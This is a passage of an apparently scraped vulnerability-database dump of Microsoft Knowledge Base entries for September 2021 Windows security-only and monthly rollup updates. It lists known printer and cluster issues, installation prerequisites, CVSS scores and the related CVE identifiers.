[Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005607>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows Server 2012, Windows Embedded 8 Standard**Classification**: Security Update \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5005607](<https://download.microsoft.com/download/7/9/4/7944449d-0157-49a0-85ae-be5be2970e5a/5005607.csv>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-14T07:00:00", "type": "mskb", "title": "September 14, 2021\u2014KB5005607 (Security-only update)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-38667"], "modified": "2021-09-14T07:00:00", "id": "KB5005607", "href": "https://support.microsoft.com/en-us/help/5005607", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:39:11", "description": "None\n## **Summary**\n\nLearn more about this security update, including improvements and fixes, any known issues, and how to get the update. \n\n**Important: **Windows 7 and Windows Server 2008 R2 have reached the end of mainstream support and are now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nVerify that** **you have installed the required updates listed in the **How to get this update** section before installing this update. \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows 7 and Windows Server 2008 R2 update history [home page](<https://support.microsoft.com/help/4009469>).\n\n## **Improvements and fixes**\n\nThis security update includes quality improvements. Key changes include:\n\n * Addresses an issue in which a driver might not install if the driver is signed with more than one code sign signatures.\n * This update also contains miscellaneous security improvements to internal OS functionality.\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update and restarting your device, you might receive the error, \u201cFailure to configure Windows updates. Reverting Changes. Do not turn off your computer,\u201d and the update might show as **Failed **in **Update History**.| This is expected in the following circumstances:\n\n * If you are installing this update on a device that is running an edition that is not supported for ESU. For a complete list of which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).\n * If you do not have an ESU MAK add-on key installed and activated.\n * If you have purchased an ESU key and have encountered this issue, please verify you have applied all prerequisites and that your key is activated. For information on activation, please see this [blog](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/obtaining-extended-security-updates-for-eligible-windows-devices/ba-p/1167091>) post. For information on the prerequisites, see the **How to get this update** section of this article. \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \"STATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\". This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \nAfter installing this update, devices which attempt to connect to a network printer for the first time might fail to download and install the necessary printer drivers. Devices which had connected to and installed the printer prior to the installation of this update are unaffected and operations to that printer will succeed as usual.This issue has been observed in devices which access printers via a print server using HTTP connections. When a client connects to the server to install the printer, a directory mismatch occurs, which causes the installer files to generate incorrectly. As a result, the drivers may not download.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue was resolved in [KB5006728](<https://support.microsoft.com/help/5006728>). \nAfter installing this update on a print server, printing properties defined on that server might not be correctly provided to clients. Note this issue is specific to print servers and does not impact standard network printing. This issue will not cause printing operations to fail, however, custom settings defined on the server \u2013 for example, duplex print settings \u2013 will not be applied automatically, and clients will print with default settings only.This issue results from an improper building of the data file which contains the printer properties. Clients which receive this data file will not be able to use the file content and will instead proceed with default printing settings. Clients who have previously received the settings package prior to the installation of this update are unaffected. Servers which use default print settings and have no custom settings to provide to clients are unaffected.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue was resolved in [KB5007233](<https://support.microsoft.com/help/5007233>). \nAfter installing this update, you might receive a prompt for administrative credentials every time you attempt to print in environments in which the print server and print client are in different times zones. **Note** The affected environments described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue was resolved in [KB5006728](<https://support.microsoft.com/help/5006728>). If after installing [KB5006728](<https://support.microsoft.com/help/5006728>) you still receive the prompt every time you print, see Q1 in the \"Frequently ask questions\" section of [KB5005652\u2014Manage new Point and Print default driver installation behavior (CVE-2021-34481)](<https://support.microsoft.com/help/5005652>). \n \n## **How to get this update**\n\n**Before installing this update****IMPORTANT** Customers who have purchased the Extended Security Update (ESU) for on-premises versions of these operating systems must follow the procedures in [KB4522133](<https://support.microsoft.com/help/4522133>) to continue receiving security updates after extended support ends. Extended support ends as follows:\n\n * For Windows 7 Service Pack 1 and Windows Server 2008 R2 Service Pack 1, extended support ends on January 14, 2020.\n * For Windows Embedded Standard 7, extended support ends on October 13, 2020.\nFor more information about ESU and which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).**Note** For Windows Embedded Standard 7, Windows Management Instrumentation (WMI) must be enabled to get updates from Windows Update or Windows Server Update Services.**Prerequisite:**You must install the updates listed below and **restart your device** before installing the latest Rollup. Installing these updates improves the reliability of the update process and mitigates potential issues while installing the Rollup and applying Microsoft security fixes.\n\n 1. The March 12, 2019 servicing stack update (SSU) ([KB4490628](<https://support.microsoft.com/help/4490628>)). To get the standalone package for this SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). This update is required to install updates that are only SHA-2 signed.\n 2. The latest SHA-2 update ([KB4474419](<https://support.microsoft.com/help/4474419>)) released September 10, 2019. If you are using Windows Update, the latest SHA-2 update will be offered to you automatically. This update is required to install updates that are only SHA-2 signed. For more information on SHA-2 updates, see [2019 SHA-2 Code Signing Support requirement for Windows and WSUS](<https://support.microsoft.com/help/4472027>).\n 3. For Windows Thin PC, you must have the August 11, 2020 SSU ([KB4570673](<https://support.microsoft.com/help/4570673>)) or a later SSU installed to make sure you continue to get the extended security updates starting with the October 13, 2020 updates.\n 4. To get this security update, you must reinstall the \"Extended Security Updates (ESU) Licensing Preparation Package\" ([KB4538483](<https://support.microsoft.com/help/4538483>)) or the \"Update for the Extended Security Updates (ESU) Licensing Preparation Package\" ([KB4575903](<https://support.microsoft.com/help/4575903>)) even if you previously installed the ESU key. The ESU licensing preparation package will be offered to you from WSUS. To get the standalone package for ESU licensing preparation package, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>).\nAfter installing the items above, Microsoft strongly recommends that you install the latest SSU ([KB5004378](<https://support.microsoft.com/help/5004378>)). If you are using Windows Update, the latest SSU will be offered to you automatically if you are an ESU customer. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).**REMINDER** If you are using Security-only updates, you will also need to install all previous Security-only updates and the latest cumulative update for Internet Explorer ([KB5005563](<https://support.microsoft.com/help/5005563>)).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| No| See the other options below. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005615>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 7 Service Pack 1, Windows Server 2008 R2 Service Pack 1, Windows Embedded Standard 7 Service Pack 1, Windows Embedded POSReady 7, Windows Thin PC**Classification**: Security Updates \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5005615](<https://download.microsoft.com/download/9/0/1/9011f90e-86fb-404d-9847-0c430ac902ff/5005615.csv>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-14T07:00:00", "type": "mskb", "title": "September 14, 2021\u2014KB5005615 (Security-only update)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-38667"], "modified": "2021-09-14T07:00:00", "id": "KB5005615", "href": "https://support.microsoft.com/en-us/help/5005615", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:39:11", "description": "None\n## **Summary**\n\nLearn more about this security update, including improvements and fixes, any known issues, and how to get the update. \n\n**Important: **This release includes the Flash Removal Package. Taking this update will remove Adobe Flash from the device. For more information, see the [Update on Adobe Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support/>).\n\n**Important: **Windows Server 2012 has reached the end of mainstream support and is now in extended support. Starting in July 2020, there will no longer be optional releases (known as \"C\" or \"D\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nVerify that** **you have installed the required updates listed in the **How to get this update** section before installing this update. \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows Server 2012 update history [home page](<https://support.microsoft.com/help/4009471>).\n\n## **Improvements and fixes**\n\nThis security update includes improvements and fixes that were a part of update [KB5005099](<https://support.microsoft.com/help/5005099>) (released August 10, 2021) and addresses the following issues:\n\n * This update contains miscellaneous security improvements to internal OS functionality. No additional issues were documented for this release.\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \nAfter installing this update, devices which attempt to connect to a network printer for the first time might fail to download and install the necessary printer drivers. Devices which had connected to and installed the printer prior to the installation of this update are unaffected and operations to that printer will succeed as usual.This issue has been observed in devices which access printers via a print server using HTTP connections. When a client connects to the server to install the printer, a directory mismatch occurs, which causes the installer files to generate incorrectly. As a result, the drivers may not download.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in [KB5006739](<https://support.microsoft.com/help/5006739>). \nAfter installing this update on a print server, printing properties defined on that server might not be correctly provided to clients. Note this issue is specific to print servers and does not impact standard network printing. This issue will not cause printing operations to fail, however, custom settings defined on the server \u2013 for example, duplex print settings \u2013 will not be applied automatically, and clients will print with default settings only.This issue results from an improper building of the data file which contains the printer properties. Clients which receive this data file will not be able to use the file content and will instead proceed with default printing settings. Clients who have previously received the settings package prior to the installation of this update are unaffected. Servers which use default print settings and have no custom settings to provide to clients are unaffected.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in [KB5007260](<https://support.microsoft.com/help/5007260>). \nAfter installing this update, you might receive a prompt for administrative credentials every time you attempt to print in environments in which the print server and print client are in different times zones. **Note** The affected environments described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue was resolved in [KB5006739](<https://support.microsoft.com/help/5006739>). If after installing [KB5006739](<https://support.microsoft.com/help/5006739>) you still receive the prompt every time you print, see Q1 in the \"Frequently ask questions\" section of [KB5005652\u2014Manage new Point and Print default driver installation behavior (CVE-2021-34481)](<https://support.microsoft.com/help/5005652>). \n \n## **How to get this update**\n\n**Before installing this update**We strongly recommend that you install the latest servicing stack update (SSU) for your operating system before installing the latest Rollup. SSUs improve the reliability of the update process to mitigate potential issues while installing the Rollup and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).If you use Windows Update, the latest SSU ([KB5001401](<https://support.microsoft.com/help/5001401>)) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). **Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005623>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows Server 2012, Windows Embedded 8 Standard**Classification**: Security Updates \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5005623](<https://download.microsoft.com/download/f/e/b/feb6fda1-9d2a-40d5-9264-23b033a84e00/5005623.csv>). \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-14T07:00:00", "type": "mskb", "title": "September 14, 2021\u2014KB5005623 (Monthly Rollup)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-38667"], "modified": "2021-09-14T07:00:00", "id": "KB5005623", "href": "https://support.microsoft.com/en-us/help/5005623", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:39:12", "description": "None\n## **Summary**\n\nLearn more about this security update, including improvements and fixes, any known issues, and how to get the update. \n\n**Important: **Windows 7 and Windows Server 2008 R2 have reached the end of mainstream support and are now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nVerify that** **you have installed the required updates listed in the **How to get this update** section before installing this update. \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows 7 and Windows Server 2008 R2 update history [home page](<https://support.microsoft.com/help/4009469>).\n\n## **Improvements and fixes**\n\nThis security update includes improvements and fixes that were a part of update [KB5005088](<https://support.microsoft.com/help/5005088>) (released August 10, 2021) and addresses the following issues:\n\n * Addresses an issue in which a driver might not install if the driver is signed with more than one code sign signatures.\n * This update also contains miscellaneous security improvements to internal OS functionality.\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom **| **Workaround ** \n---|--- \nAfter installing this update and restarting your device, you might receive the error, \"Failure to configure Windows updates. Reverting Changes. Do not turn off your computer\", and the update might show as **Failed** in **Update History**.| This is expected in the following circumstances:\n\n * If you are installing this update on a device that is running an edition that is not supported for ESU. For a complete list of which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).\n * If you do not have an ESU MAK add-on key installed and activated.\nIf you have purchased an ESU key and have encountered this issue, please verify you have applied all prerequisites and that your key is activated. For information on activation, please see this [blog](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/obtaining-extended-security-updates-for-eligible-windows-devices/ba-p/1167091>) post. For information on the prerequisites, see the **How to get this update** section of this article. \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \"STATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\". This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following: \n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \nAfter installing this update, devices which attempt to connect to a network printer for the first time might fail to download and install the necessary printer drivers. Devices which had connected to and installed the printer prior to the installation of this update are unaffected and operations to that printer will succeed as usual.This issue has been observed in devices which access printers via a print server using HTTP connections. When a client connects to the server to install the printer, a directory mismatch occurs, which causes the installer files to generate incorrectly. As a result, the drivers may not download.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in [KB5006743](<https://support.microsoft.com/help/5006743>). \nAfter installing this update on a print server, printing properties defined on that server might not be correctly provided to clients. Note this issue is specific to print servers and does not impact standard network printing. This issue will not cause printing operations to fail, however, custom settings defined on the server \u2013 for example, duplex print settings \u2013 will not be applied automatically, and clients will print with default settings only.This issue results from an improper building of the data file which contains the printer properties. Clients which receive this data file will not be able to use the file content and will instead proceed with default printing settings. Clients who have previously received the settings package prior to the installation of this update are unaffected. Servers which use default print settings and have no custom settings to provide to clients are unaffected.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in [KB5007236](<https://support.microsoft.com/help/5007236>). \nAfter installing this update, you might receive a prompt for administrative credentials every time you attempt to print in environments in which the print server and print client are in different times zones. **Note** The affected environments described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue was resolved in [KB5006743](<https://support.microsoft.com/help/5006743>). If after installing [KB5006743](<https://support.microsoft.com/help/5006743>) you still receive the prompt every time you print, see Q1 in the \"Frequently ask questions\" section of [KB5005652\u2014Manage new Point and Print default driver installation behavior (CVE-2021-34481)](<https://support.microsoft.com/help/5005652>). \n \n## **How to get this update**\n\n**Before installing this update****IMPORTANT** Customers who have purchased the Extended Security Update (ESU) for on-premises versions of these operating systems must follow the procedures in [KB4522133](<https://support.microsoft.com/help/4522133>) to continue receiving security updates after extended support ends. Extended support ends as follows:\n\n * For Windows 7 Service Pack 1 and Windows Server 2008 R2 Service Pack 1, extended support ends on January 14, 2020.\n * For Windows Embedded Standard 7, extended support ends on October 13, 2020.\nFor more information about ESU and which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).**Note** For Windows Embedded Standard 7, Windows Management Instrumentation (WMI) must be enabled to get updates from Windows Update or Windows Server Update Services.**Prerequisite:**You must install the updates listed below and **restart your device** before installing the latest Rollup. Installing these updates improves the reliability of the update process and mitigates potential issues while installing the Rollup and applying Microsoft security fixes.\n\n 1. The March 12, 2019 servicing stack update (SSU) ([KB4490628](<https://support.microsoft.com/help/4490628>)). To get the standalone package for this SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). This update is required to install updates that are only SHA-2 signed.\n 2. The latest SHA-2 update ([KB4474419](<https://support.microsoft.com/help/4474419>)) released September 10, 2019. If you are using Windows Update, the latest SHA-2 update will be offered to you automatically. This update is required to install updates that are only SHA-2 signed. For more information on SHA-2 updates, see [2019 SHA-2 Code Signing Support requirement for Windows and WSUS](<https://support.microsoft.com/help/4472027>).\n 3. For Windows Thin PC, you must have the August 11, 2020 SSU ([KB4570673](<https://support.microsoft.com/help/4570673>)) or a later SSU installed to make sure you continue to get the extended security updates starting with the October 13, 2020 updates.\n 4. To get this security update, you must reinstall the \"Extended Security Updates (ESU) Licensing Preparation Package\" ([KB4538483](<https://support.microsoft.com/help/4538483>)) or the \"Update for the Extended Security Updates (ESU) Licensing Preparation Package\" ([KB4575903](<https://support.microsoft.com/help/4575903>)) even if you previously installed the ESU key. The ESU licensing preparation package will be offered to you from WSUS. To get the standalone package for ESU licensing preparation package, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>).\nAfter you install the items above, we strongly recommend that you install the latest SSU ([KB5004378](<https://support.microsoft.com/help/5004378>)). If you are using Windows Update, the latest SSU will be offered to you automatically if you are an ESU customer. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update if you are an ESU customer. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005633>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 7 Service Pack 1, Windows Server 2008 R2 Service Pack 1, Windows Embedded Standard 7 Service Pack 1, Windows Embedded POSReady 7, Windows Thin PC**Classification**: Security Updates \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5005633](<https://download.microsoft.com/download/4/7/d/47d2fcaf-120b-46c1-8097-ecef0fae961f/5005633.csv>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-14T07:00:00", "type": "mskb", "title": "September 14, 2021\u2014KB5005633 (Monthly Rollup)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-38667"], "modified": "2021-09-14T07:00:00", "id": "KB5005633", "href": "https://support.microsoft.com/en-us/help/5005633", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:39:10", "description": "None\n## **Summary**\n\nLearn more about this security update, including improvements and fixes, any known issues, and how to get the update. \n\n**Important: **This release includes the Flash Removal Package. Taking this update will remove Adobe Flash from the device. For more information, see the [Update on Adobe Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support/>).\n\n**Important: **Windows 8.1 and Windows Server 2012 R2 have reached the end of mainstream support and are now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows 8.1 and Windows Server 2012 R2 update history [home page](<https://support.microsoft.com/help/4009470>).\n\n## **Improvements and fixes**\n\nThis security update includes improvements and fixes that were a part of update [KB5005076](<https://support.microsoft.com/help/5005076>) (released August 10, 2021) and addresses the following issues:\n\n * This update contains miscellaneous security improvements to internal OS functionality. No additional issues were documented for this release.\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \nAfter installing this update, devices which attempt to connect to a network printer for the first time might fail to download and install the necessary printer drivers. Devices which had connected to and installed the printer prior to the installation of this update are unaffected and operations to that printer will succeed as usual.This issue has been observed in devices which access printers via a print server using HTTP connections. When a client connects to the server to install the printer, a directory mismatch occurs, which causes the installer files to generate incorrectly. As a result, the drivers may not download.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in [KB5006714](<https://support.microsoft.com/help/5006714>). \nAfter installing this update on a print server, printing properties defined on that server might not be correctly provided to clients. Note this issue is specific to print servers and does not impact standard network printing. This issue will not cause printing operations to fail, however, custom settings defined on the server \u2013 for example, duplex print settings \u2013 will not be applied automatically, and clients will print with default settings only.This issue results from an improper building of the data file which contains the printer properties. Clients which receive this data file will not be able to use the file content and will instead proceed with default printing settings. Clients who have previously received the settings package prior to the installation of this update are unaffected. Servers which use default print settings and have no custom settings to provide to clients are unaffected.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in [KB5007247](<https://support.microsoft.com/help/5007247>). \nAfter installing this update, you might receive a prompt for administrative credentials every time you attempt to print in environments in which the print server and print client are in different times zones. **Note** The affected environments described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue was resolved in [KB5006714](<https://support.microsoft.com/help/5006714>). If after installing [KB5006714](<https://support.microsoft.com/help/5006714>) you still receive the prompt every time you print, see Q1 in the \"Frequently ask questions\" section of [KB5005652\u2014Manage new Point and Print default driver installation behavior (CVE-2021-34481)](<https://support.microsoft.com/help/5005652>). \n \n## **How to get this update**\n\n**Before installing this update**We strongly recommend that you install the latest servicing stack update (SSU) for your operating system before you install the latest Rollup. SSUs improve the reliability of the update process to mitigate potential issues while installing the Rollup and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).If you use Windows Update, the latest SSU ([KB5001403](<https://support.microsoft.com/help/5001403>)) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). **Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005613>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically 